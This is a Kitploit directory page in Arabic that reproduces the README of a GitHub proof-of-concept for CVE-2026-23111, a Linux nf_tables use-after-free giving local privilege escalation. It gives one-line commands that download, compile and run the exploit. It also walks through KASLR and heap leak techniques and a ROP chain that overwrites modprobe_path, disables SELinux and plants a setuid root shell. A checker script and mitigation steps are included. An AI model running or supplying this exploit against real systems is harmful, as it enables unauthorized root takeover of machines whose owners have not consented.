Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-23111 — نواة لينكس nf_tables استخدام بعد التحرير (CVE-2026-23111) — LPE PoC | Kitploit
أدوات/GitHubGitHub/baba01hacker666/cve-2026-23111
تصعيد الامتيازاتتحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةالأوراق والأبحاثالتعلم والتعليماستغلال الملفات الثنائية
GitHubbaba01hacker666/cve-2026-23111

CVE-2026-23111

نواة لينكس nf_tables استخدام بعد التحرير (CVE-2026-23111) — LPE PoC

عرض المستودع
72منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-23111 إثبات المفهوم

Linux Kernel nf_tables استعمال بعد التحرير (رفع الامتيازات المحلية) إثبات المفهوم بواسطة baba01hacker

ملخص الثغرة

  • CVE: CVE-2026-23111
  • النوع: Use-After-Free (CWE-416)
  • CVSS: 7.8 (عالية)
  • المكون: net/netfilter/nf_tables_api.c — nft_map_catchall_activate()
  • السبب الجذري: فحص genmask معكوس يؤدي إلى تسرب عداد مرجع السلسلة أثناء إلغاء المعاملة

إصدارات النواة المتأثرة

نطاق الإصدارالإصدار الذي تم الإصلاح فيه
6.19-rc1 to 6.19-rc86.19-rc9+
6.13 to 6.18.96.18.10
6.7 to 6.12.696.12.70
6.4.1 to 6.5.xEOL (لا يوجد إصلاح مستقر)
6.3.10 to 6.3.xEOL
6.0.x, 6.2.xEOL
6.1.36 to 6.1.1626.1.163
5.15.121 to 5.15.1995.15.200
5.10.188+, 5.4.262+, 4.19.316+إصدارات LTS مختلفة

تفاصيل الثغرة

CVE-2026-23111 هو خطأ use-after-free في nf_tables ناتج عن فحص generation-mask معكوس في nft_map_catchall_activate(). أثناء التراجع عن معاملة فاشلة، يجب إعادة تنشيط عناصر catchall لخريطة الحكم التي تم إلغاء تنشيطها بواسطة NFT_MSG_DELSET بحيث يتم استعادة المراجع مثل مراجع سلسلة NFT_GOTO. مسار تنشيط catchall بدلاً من ذلك تجاوز العناصر غير النشطة وعالج العناصر النشطة، تاركًا عناصر catchall غير المستعادة دون إصلاح.

منطق التنشيط الصحيح لغير catchall هو:

root@kitploit:~
if (nft_set_elem_active(ext, iter->genmask))
    return 0; /* تخطي النشط، معالجة غير النشط */

مسار catchall المعرض استخدم الشرط المعاكس:

root@kitploit:~
if (!nft_set_elem_active(ext, genmask))
    continue; /* تخطي غير النشط، معالجة النشط */

عند إعادة تراجع خريطة حكم pipapo محذوفة، يمنع هذا تشغيل nft_setelem_data_activate() للعنصر catchall غير النشط. بالنسبة لبيانات الحكم NFT_JUMP/NFT_GOTO، لا يتم استعادة المرجع للسلسلة الذي تم أخذه بواسطة nft_data_hold(). يمكن أن يؤدي تكرار تسلسل الإلغاء/التبديل/الحذف إلى دفع chain->use إلى الصفر بينما لا يزال هناك حكم آخر يحتوي على مرجع حكم صالح للسلسلة. يمكن لـ DELCHAIN لاحقًا تحرير السلسلة بينما تظل قابلة للوصول، مما يخلق UAF.

تسلسل التشغيل

root@kitploit:~
إنشاء جدول، سلسلة أساسية، سلسلة ضحية، وخريطة حكم pipapo مع catchall NFT_GOTO -> الضحية
        |
الدفعة 1: حذف مجموعة pipapo، ثم فرض خطأ في المعاملة
        |
مسار الإلغاء يستدعي nft_map_catchall_activate()، لكن الفحص المعكوس يتجاوز catchall غير النشط
        |
يبقى catchall غير نشط ولا يتم استعادة عدد مراجع السلسلة الضحية
        |
الدفعة 2: تنفيذ معاملة آمنة لتبديل مؤشر الجيل
        |
الدفعة 3: حذف مجموعة pipapo بنجاح، مما يقلل من عدد مراجع السلسلة الضحية مرة أخرى
        |
الدفعة 4: حذف السلسلة الضحية بينما لا يزال حكم السلسلة الأساسية يشير إليها
        |
استعمال بعد التحرير عند تقييم الحزمة أو تفريغ القواعد التي تتبع مرجع الحكم المعلق

الإصلاح من المصدر هو إزالة النفي بحيث يتطابق nft_map_catchall_activate() مع nft_mapelem_activate(): يتم تخطي العناصر النشطة، وإعادة تنشيط العناصر غير النشطة، واستعادة مراجع الحكم/الكائن أثناء معالجة الإلغاء.

اختبار فقط

root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json

تشغيل إثبات المفهوم بسطر واحد

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d

سطر واحد للنسخة v2 الاحتياطية

استخدم هذا إذا فشل إثبات المفهوم الكامل/v1 على النواة المستهدفة.

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d

بناء محلي

قم بتثبيت تبعيات البناء أولاً إذا لم يتمكن المترجم من العثور على رؤوس libmnl/libmnl.h أو libnftnl:

root@kitploit:~
scripts/install-build-deps.sh
# أو
make deps
root@kitploit:~
make          # بناء إثبات المفهوم (إثبات المفهوم فقط)
make v2       # بناء إثبات المفهوم v2 (طريقة FuzzingLabs — جرب عندما يفشل v1)
make full     # بناء استغلال كامل لرفع الامتيازات
make v3       # بناء مسار تقييم v3 المعاير
make run-d    # تشغيل إثبات المفهوم مع إخراج التصحيح
make run-v2-d # تشغيل v2 مع إخراج التصحيح
make run-v3   # عرض استخدام/مساعدة v3
make run-full # تشغيل رفع الامتيازات الكامل

مراحل الاستغلال

المرحلة 1: تشغيل UAF ✅ يعمل

إنشاء مجموعة خرائط pipapo مع عنصر catchall (goto السلسلة الضحية)، ثم استخدام خطأ genmask المعكوس أثناء إلغاء DELSET لإفساد chain->use. بعد تقدم عداد الجيل، ينجح DELCHAIN على الرغم من المراجع المعلقة، مما يحرر السلسلة.

المرحلة 2: تسريب KASLR ✅ يعمل

بعد UAF، يتم تحرير ذاكرة chain->name. نقوم برش هياكل seq_operations (32 بايت) عن طريق فتح /proc/self/stat لاستعادة فتحة ذاكرة التخزين المؤقت المحررة. قراءة حكم السلسلة الأساسية الفوري عبر NFT_MSG_GETRULE تقوم بتفريغ اسم السلسلة المسترد، مما يسرب مؤشرات دالة النواة. يضمن التحقق من الصحة قبول عناوين نص النواة القياسية فقط.

المرحلة 3: تسريب عنوان الكومة ✅ يعمل

إعادة تشغيل UAF مع اسم سلسلة أطول (140 بايت → kmalloc-cg-192)، ثم رش كائنات nft_rule لاستعادة الذاكرة. مؤشرات list_head المسربة تكشف عناوين الكومة في منطقة الخريطة المباشرة.

المرحلة 4: اختطاف تدفق التحكم و ROP 🔧 اكتمال الإطار

  • قاعدتان بحجم 192 بايت مع بيانات مضبوطة تم رشها لـ nft_expr_ops و nft_rule_blob المزيفة
  • عناوين الكومة من المرحلة 3 تستخدم لربط المؤشرات blob المزيف ← expr_ops المزيف
  • رش بيانات مستخدم الجدول بحجم 128 بايت لاستبدال blob_gen_0 للسلسلة المحررة
  • سلسلة ROP: commit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq
  • أدوات ROP يتم مسحها تلقائيًا من /proc/kcore
  • إرسال حزمة تشغيل عبر السلسلة الأساسية لاستدعاء expr->ops->eval المختطف

استغلال v2 (طريقة FuzzingLabs)

يستخدم استغلال v2 (exploit_v2.c) التقنيات الموصوفة في كتابة FuzzingLabs ويمكن استخدامه عندما يفشل إثبات المفهوم v1. الاختلافات الرئيسية:

سلسلة تسريب v2 (قراءة عشوائية لـ init_ipc_ns)

root@kitploit:~
init_ipc_ns + 0x118  →  msg_ids.xa_head  →  msg_queue (مؤشر موسوم)
msg_queue + 0xc0     →  q_messages.next  →  عنوان كومة msg_msg

كل خطوة تستخدم بنية السلسلة المحررة كأداة قراءة عشوائية: بيانات مستخدم الجدول (128 بايت) تستعيد nft_chain المحرر في kmalloc-cg-128، وعنوان نواة موضوع في الإزاحة 0x40 (حيث يوجد chain->name) يتم تفكيكه بواسطة النواة أثناء تفريغ عناصر SET_B.

معايرة الكومة v3 وسلسلة ROP (modprobe_path)

مرحلة الكومة v3 تعتمد على توقع الإزاحة بدلاً من أداة قراءة عشوائية حقيقية آمنة ثنائية عبر eval. قم بمعايرة الهدف قبل تشغيل الرش النهائي:

root@kitploit:~
grep msg_msg /proc/slabinfo
# قارن مع كثافة كائنات kmalloc-cg-2048، ثم نفذ مع:
./exploit_v3 --msg-msg-addr 0xffff...
# أو، عندما تكون القيمة معروفة نسبيًا لقاعدة النواة المسربة:
./exploit_v3 --msg-msg-delta 0x...

تحقق من إزاحات هياكل nftables مقابل بناء النواة الدقيق:

root@kitploit:~
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)

مسح الأدوات يستخدم /proc/kcore؛ إذا كان مقيدًا، استخرج الأدوات من vmlinux دون اتصال وثبت العناوين نسبيًا لقاعدة النواة المسربة. يستخدم مسار تقييم حزمة v3 push rdi; pop rsp لأن rdi = expr؛ هذا يختلف عن مسار التحقق v2 حيث rsi = expr.

root@kitploit:~
push rdi; pop rsp; pop rbp; ret           ← محور المكدس (rdi = expr)
pop rdi; ret → &modprobe_path              \
pop rax; ret → "/tmp/pe\0"                 │ كتابة modprobe_path
mov [rdi], rax; ret                        /
pop rdi; ret → &selinux_state             \
xor eax, eax; ret                          │ تعطيل SELinux
mov [rdi], eax; ret                        /
pop rdi; ret → 10000                       \
msleep                                      │ إبقاء النواة حية

يعمل سكريبت /tmp/pe كجذر عندما تستدعي النواة modprobe_path بعد مواجهة تنسيق ثنائي غير معروف. يقوم بإنشاء قشرة جذر setuid في /tmp/rootbash.

متى تستخدم v2 مقابل v1

  • فشل v1 في تسريب KASLR: v2 يستخدم NFT_MSG_GETELEM (مسار كود نواة مختلف) بدلاً من NFT_MSG_GETRULE
  • فشل v1 في تسريب الكومة: v2 يستخدم المتغير العام init_ipc_ns للتنقل عبر هياكل بيانات النواة بدلاً من رش كائنات nft_rule
  • فشل v1 في الاختطاف: v2 يستخدم msg_msg-2k (مخزن مؤقت كبير ومستقر) بدلاً من nft_rules + بيانات مستخدم الجدول لحمولة ROP
  • فشل v1 في رفع الامتيازات: v2 يستخدم modprobe_path (يعمل بدون swapgs/iretq) بدلاً من commit_creds + تبديل مساحة الأسماء
  • النواة لديها SLAB_RANDOM/تقوية: سلسلة init_ipc_ns في v2 تستهدف متغيرًا عالميًا مستقرًا، مما يجعل تخطيط الكومة أقل أهمية

التفاصيل الفنية

الخطأ

في nft_map_catchall_activate() (net/netfilter/nf_tables_api.c):

root@kitploit:~
list_for_each_entry(catchall, &set->catchall_list, list) {
    ext = nft_set_elem_ext(set, catchall->elem);
    if (!nft_set_elem_active(ext, genmask))  // خطأ: يجب أن يكون بدون '!'
        continue;
    nft_clear(ctx->net, ext);
    nft_setelem_data_activate(ctx->net, set, catchall->elem);
    break;
}

! تتسبب في تخطي الوظيفة للعناصر غير النشطة بدلاً من معالجتها. أثناء إلغاء المعاملة، يتم تخطي عنصر catchall (الذي تم إلغاء تنشيطه للتو بواسطة DELSET)، لذلك لا يتم استدعاء nft_data_hold() لاستعادة عداد مرجع السلسلة.

آلية الاستغلال

  1. إنشاء مجموعة خرائط pipapo مع عنصر catchall → goto السلسلة الضحية
  2. الدفعة A: DELSET + عملية غير صالحة → إلغاء → يبقى chain->use عند 0
  3. الدفعة B: معاملة صالحة → تقدم genid
  4. الدفعة C: DELSET → ينجح
  5. الدفعة D: DELCHAIN → تحرير السلسلة (chain->use == 0، لكن يوجد مرجع معلق)
  6. عنصر catchall للمجموعة لا يزال يشير إلى اسم السلسلة المحررة → رش + قراءة

الملفات

root@kitploit:~
├── CVE-2026-23111-checker.py   سكريبت كشف الثغرة (--detailed, --json)
├── exploit.c                   إثبات المفهوم (UAF + تسريب KASLR + تسريب الكومة)
├── exploit_v2.c                استغلال v2 (طريقة FuzzingLabs — جرب عندما يفشل v1)
├── exploit_full.c              استغلال رفع امتيازات كامل (UAF + تسريبات + سلسلة ROP)
├── exploit_full_aarch64        ثنائي aarch64 مبني مسبقًا (ثابت)
├── exploit_full.b64            ثنائي الاستغلال الكامل مشفر بـ Base64
├── Makefile                    تكوين البناء
└── README.md                   هذا الملف

متطلبات البناء

root@kitploit:~
apt-get install -y libmnl-dev libnftnl-dev gcc make python3

التجميع المتقاطع (aarch64)

root@kitploit:~
apt-get install -y gcc-aarch64-linux-gnu
make aarch64

بناء التصحيح (مع AddressSanitizer)

root@kitploit:~
make debug          # إثبات المفهوم مع ASan
make debug-full     # الاستغلال الكامل مع ASan

سكريبت الكشف

يقوم سكريبت الكشف بطرق كشف متعددة:

  • مطابقة الإصدار: يتحقق من إصدار النواة مقابل جميع النطاقات المعروفة المعرضة (بما في ذلك نواة rc)
  • كشف الوحدة: يتحقق مما إذا كانت وحدة النواة nf_tables محملة
  • تكوين النواة: يقرأ CONFIG_NF_TABLES من /proc/config.gz أو /boot/config-*
  • فحص الرموز: يبحث عن nft_map_catchall_activate في /proc/kallsyms
  • إعدادات مساحة الأسماء: يتحقق من sysctl kernel.unprivileged_userns_clone
  • تقدير المخاطر: يجمع جميع المؤشرات في درجة مخاطرة من 0-6
root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed   # قابل للقراءة البشرية مع إجراءات التخفيف
python3 CVE-2026-23111-checker.py --json        # JSON قابل للقراءة آليًا

استكشاف الأخطاء وإصلاحها

المراجع

  • FuzzingLabs - إعادة إنتاج CVE-2026-23111
  • مدونة Exodus Intel - تحليل مفصل
  • إدخال NVD
  • التصحيح 1 للنواة
  • التصحيح 2 للنواة

التخفيف

  1. قم بتحديث النواة إلى الإصدار المرقع (6.18.10+, 6.12.70+, 6.6.124+, إلخ.)
  2. قم بتعطيل مساحات أسماء المستخدم غير المميزة: sysctl kernel.unprivileged_userns_clone=0
  3. قم بإدراج وحدة nf_tables في القائمة السوداء إذا لم تكن مطلوبة:
    root@kitploit:~
    echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
    
تنزيل الأداة
المكونv1 (exploit.c)v2 (exploit_v2.c)
تشغيل UAFمجموعة واحدة + حكم goto فوريمجموعتان (أسلوب FuzzingLabs) + حكم بحث
قراءة KASLRNFT_MSG_GETRULE (تفريغ القواعد)NFT_MSG_GETELEM (تفريغ العناصر) + احتياطي GETRULE
تسريب الكومةرش nft_rule + تسريب list_headسلسلة قراءة عشوائية init_ipc_ns
مضيف ROPnft_rules + بيانات مستخدم الجدولرسالة msg_msg-2k (رسالة 2048 بايت)
تشغيل الاختطافتقييم الحزمة على goto الفوريتقييم الحزمة على catchall المجموعة الباقية
رفع الامتيازاتcommit_creds + switch_task_namespacesاستبدال modprobe_path + تعطيل SELinux
مسار العودةswapgs; iretqmsleep() (يبقى في النواة)
المشكلةالحل
mnl_socket_open: No such file or directoryتأكد من تحميل وحدة nf_tables: modprobe nf_tables
unshare: Operation not permittedيتطلب مساحات أسماء مستخدم غير مميزة. تحقق من kernel.unprivileged_userns_clone=1
Batch A did NOT abortقد تكون النواة مرقعة أو سلوك genmask مختلف
No kernel pointer leakedقد تكون تقوية KASLR أو SLAB_RANDOM مفعلة؛ جرب عدة مرات
No heap pointer foundمعدل تصادم رش الكومة احتمالي؛ أعد المحاولة أو زد عدد الرش
الترجمة: nf_tables.h: No such fileقم بتثبيت رؤوس النواة: apt install linux-headers-$(uname -r)
خطأ ربط: undefined reference to mnl_*ترتيب الربط مهم: -lnftnl -lmnl (nftnl قبل mnl)